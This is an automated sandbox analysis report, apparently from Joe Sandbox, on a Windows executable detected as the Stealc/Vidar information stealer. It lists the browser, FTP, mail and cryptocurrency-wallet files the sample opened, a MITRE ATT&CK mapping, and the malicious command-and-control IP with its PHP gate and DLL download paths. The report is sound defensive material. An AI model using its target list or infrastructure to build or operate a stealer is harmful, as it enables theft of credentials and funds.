Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.f?nJ

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6648, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 4.2.file.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.1294425570.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6648, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.phpData	18%	Virustotal		Browse
http://185.215.113.37.com	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpom	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php_	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php-	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dlln0	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpData	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllB0SJ	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37.com	file.exe, 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmp	true	0%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlld3	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpn6pK	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php_	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllP0aJ	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpr6	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000004.00000002.1557570471.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllN3WK	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	0%, Virustotal, Browse	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllx3YK	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpfF	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php-	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll40	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllj3KK	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpic_qt	file.exe, 00000004.00000002.1532715149.0000000001B49000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	FBKJKEHIJECGCBFIJEGI.4.dr	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.37H-	file.exe, 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	HJECAAKKFHCFIECAAAKEGCFIEH.4.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000004.00000003.1384755417.0000000001BB5000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKK.4.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000004.00000002.1532715149.0000000001BB6000.00000004.00000020.00020000.00000000.sdmp, FBKJKEHIJECGCBFIJEGI.4.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530638
Start date and time:	2024-10-10 10:08:37 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 105
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	zYlQoif21X.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

